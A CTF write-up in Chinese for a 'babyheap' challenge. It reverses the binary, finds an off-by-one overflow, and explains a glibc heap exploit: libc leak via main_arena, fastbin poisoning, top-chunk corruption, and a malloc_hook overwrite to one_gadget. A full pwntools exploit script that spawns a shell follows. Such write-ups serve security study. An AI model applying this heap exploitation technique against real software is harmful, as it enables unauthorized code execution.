查看文件格式以及保护开启情况。发现为64位程序，符号被剥离，动态链接程序且题目提供给了libc。保护全开，猜想可能是fast attack加上malloc_hook利用（毕竟去年这题是这个利用，肯定先往这边想）
简单的运行程序，发现是常规的菜单类题目，功能有申请内存（alloc）、更新（update）、删除（delete）、查看（view）、退出。我们每个功能走进去实现一遍看看。
申请内存，输入内存大小即可
更新内存块，选择内存块号（在alloc中确定），重新输入大小以及内容。但是这里有个奇怪的地方，你必须要输入确定大小少3个字符数才退出输入。
删除操作，输入需要删除的块号即可
查看操作，输入下标即可查看相应内存内容
放入ida中跑一跑，首先观察malloc模块，可以看出来分配的字节限制在88字节以内，也就限制为fastbin了，其次使用calloc分配，特点除了每次分配将内存清空外其他都一样。用一个数据结构保存分配大小、是否使用和分配地址。
Update模块，会判断当前编辑的内存块是否处于使用状态。重点！发现取出申请长度的时候在最后加了一个字节，且判断输入的v4和原长度v1（此时已经多加了一个字节）存在相等的可能，即可以溢出一个字节，也就是所说的off-by-one。我们可以利用此漏洞修改相邻chunk的size字段。
删除模块，首先检查块是否已经被释放，其次将长度和使用情况置0，释放后将指针置NULL，不存在漏洞利用（应该没有吧）
漏洞利用总体思路：首先由于全保护开启，不存在修改got表或者plt表的可能性。因此我们需要泄漏出libc的基地址（通过只有一个small chunk或者large chunk被释放时，其fd和bk指针会指向libc上的某个地址来实现），然后基本思路通过修改malloc_hook达成get shell的目的。
利用过程：
首先，由于calloc过程中限制了申请大小不会超过88字节，因此我们需要先申请几块fast bin然后修改第一块的内容从而使得溢出到第二块的size字段将其改变并释放。这里我们需要注意的是申请的大小必须为0xx8，即必须8结尾，因为如果你申请大小为0x10字节对齐的话，覆盖只能覆盖到下一个块的pre_size，这也是一个注意点。
首先连续申请几个大小为fast chunk的堆块，注意到chunk的大小要限制到0xx8，即以8结尾，这样下一个字节溢出将会溢出到chunk size字段，若以0x0结尾，溢出一个字节只能溢出到下一个chunk的pre_size字段，因为pre_size字段存在公用。
修改完后将chunk1释放（此时chunk1大小为0xa1，属于small chunk），此时在chunk1的内存空间里fd和bk指向libc的某个地址，但是此时无法view(1)，因为chunk1已经被释放。我们可以在申请一个fast chunk块，这时chunk2部分的fd和bk块也指向了libc上的某处（即是chunk2并没有被释放也并不属于small chunk），此时就可以view(2)来读出chunk2的fd值，后面用来计算libc_base。
这里要提一下泄漏出来的地址实际上是main_arena后的一个地址，该地址为top chunk地址，我么通过给出的libc可以找到main_arena地址，然后就找到了top chunk地址。
首先ida加载libc，进入Exports表，搜索函数malloc_trim,进入该函数实现，然后f5看如下图v22的值就是main_arena地址，具体原因可以看glibc源码。
我们双击v22=&dword_399B00这个值跟踪过去，可以看到的确是malloc_hook+0x10位置，的确是main_arena地址。拿到这个地址后，由于我们泄漏的是top chunk的地址，因此我们需要找到top chunk在libc内的偏移，这个位置我做了几次都很固定，就是在main_arena地址+0x58处。到此，可以计算出libc_base。
接着再申请一个fast chunk，这个chunk拿到的地址实际为chunk2的地址，释放1和2可以拿到堆地址。
我们泄漏出libc基地址后就要想办法执行system函数了，但是由于保护全部开始，那么思路主要集中在修改malloc_hook函数上。注意到释放的chunk2其实际地址仍然可控，我们通过写chunk4块来修改chunk2块的fd指针，使得连续两次申请后，第二次申请出来我们修改的地址。但是要注意一点，从fast bin中申请出chunk需要检查malloc的地址是否属于该bin，因此我们需要修改前先申请一个fast chunk再释放掉来占位，从而绕过检查。
我们通过调试可以看到我们申请后释放的malloc(0x58)的fast bin地址为0x7426a16c7b400，即main_arena+32地址处，我们需要一个chunk size字段，因此main_arena+32+5处的值0x55刚好可以给我们绕过检查。我们只需要通过chunk4修改chunk2的fd值就可以连续申请出该块。
还有一点需要注意，我们现在的任务是要修改top chunk的地址，使得我们下次分配时从该地址开始分配。New_top值就是我们需要修改的值，通过调试可以发现，main_arena-0x3
3的值为0x60000000。可以作为新的top chunk。
我们此时连续申请两次chunk即可拿到main_arena+32+5的值，申请的两块分别为chunk1和chunk2，我们修改chunk2，计算好偏移修改top chunk的值（88-（37+1）-16+1=35）。将top chunk的值覆盖为main_arena-0x33的值。接着，我们在申请一个新的chunk，这时会从top chunk中取一块给它，计算到malloc_hook的距离：main_arena-0x33àmain_arena-0x10。此处我为了保险起见从memalign_hook后就开始覆盖，因此需要3+8=11个字符覆盖。然后再随便申请一块就可get shell了。
完整exp如下：
1 #!/usr/bin/env python 2 # coding=utf-8 3 from pwn import * 4 5 Local = 1 6 7 if Local: 8 p = process("./babyheap") 9 libc_offset = 0x3c4b78 10 one_offset = 0x4526a 11 context.log_level = 'debug' 12 else: 13 p=remote('172.17.0.2',10001) 14 libc_offset = 0x68+0x399af0 #远程 15 one_offset = 0x3f35a 16 17 def alloc(size): 18 p.recvuntil("Command: ") 19 p.sendline("1") 20 p.recvuntil("Size: ") 21 p.sendline(str(size)) 22 23 def update(index, size, content): 24 p.recvuntil("Command: ") 25 p.sendline("2") 26 p.recvuntil("Index: ") 27 p.sendline(str(index)) 28 p.recvuntil("Size: ") 29 p.sendline(str(size)) 30 p.recvuntil("Content: ") 31 p.sendline(content) 32 33 def delete(index): 34 p.recvuntil("Command: ") 35 p.sendline("3") 36 p.recvuntil("Index: ") 37 p.sendline(str(index)) 38 39 def view(index): 40 p.recvuntil("Command: ") 41 p.sendline("4") 42 p.recvuntil("Index: ") 43 p.sendline(str(index)) 44 45 def leak(): 46 alloc(0x48) #0 47 alloc(0x48) #1 48 alloc(0x48) #2 49 alloc(0x48) #3 50 51 update(0, 0x49, "A"*0x48 + "xa1") #单字节溢出修改下一块的size字段，使得释放该字段时释放整个small chunk 52 delete(1) #1 53 alloc(0x48) #1,此时第1块和第2块的fd部分都有libc上的地址，由于第一块已经释放，我们通过读第二块的内容将libc上的值打印出来 54 view(2) 55 p.recvuntil("Chunk[2]: ") 56 leak = u64(p.recv(8)) 57 libc_base = leak - libc_offset 58 main_arena = leak - 0x58 59 60 alloc(0x48) #4 = 2,即分配的是原第2块的地址 61 delete(1) #连续释放两块，然后通过第4修改第2块的fd部分，使得连续申请两块内存后第二块为覆盖的地址 62 delete(2) 63 view(4) #此处可泄漏出堆的地址 64 p.recvuntil("Chunk[4]: ") 65 heap = u64(p.recv(8)) - 0x50 66 log.info("heap: %s" % hex(heap)) 67 return main_arena, libc_base #返回main_arena libc_base方便exp使用 68 69 def exp(main_arena, libc_base): 70 alloc(0x58) #1 71 delete(1) #删除第1块，在fastbin中占位 72 #gdb.attach(p) 73 addr = main_arena + 32 + 5 #这个值就是占位的值 74 newtop = main_arena - 0x33 #这个值是0x60000000，用作修改新的top chunk 75 one = libc_base + one_offset#one_gadget值 76 update(4, 9, p64(addr)) #此时修改fastbin中第二个释放的fd指针（通过第4块修改） 77 alloc(0x48) #申请第一块 78 alloc(0x48) #申请第二块，此时申请到addr 79 80 update(2, 0x2c, "x00"*35 + p64(newtop)) #计算偏移，修改top chunk为malloc_hook之前的0x60000000部分 81 alloc(0x38) #5 82 update(5, 28, "w"*11 + p64(one)*2) 83 gdb.attach(p) 84 alloc(0x38) #执行malloc_hook指向的函数 85 86 if __name__ == '__main__': 87 main_arena,libc_base = leak() 88 exp(main_arena,libc_base) 89 p.interactive()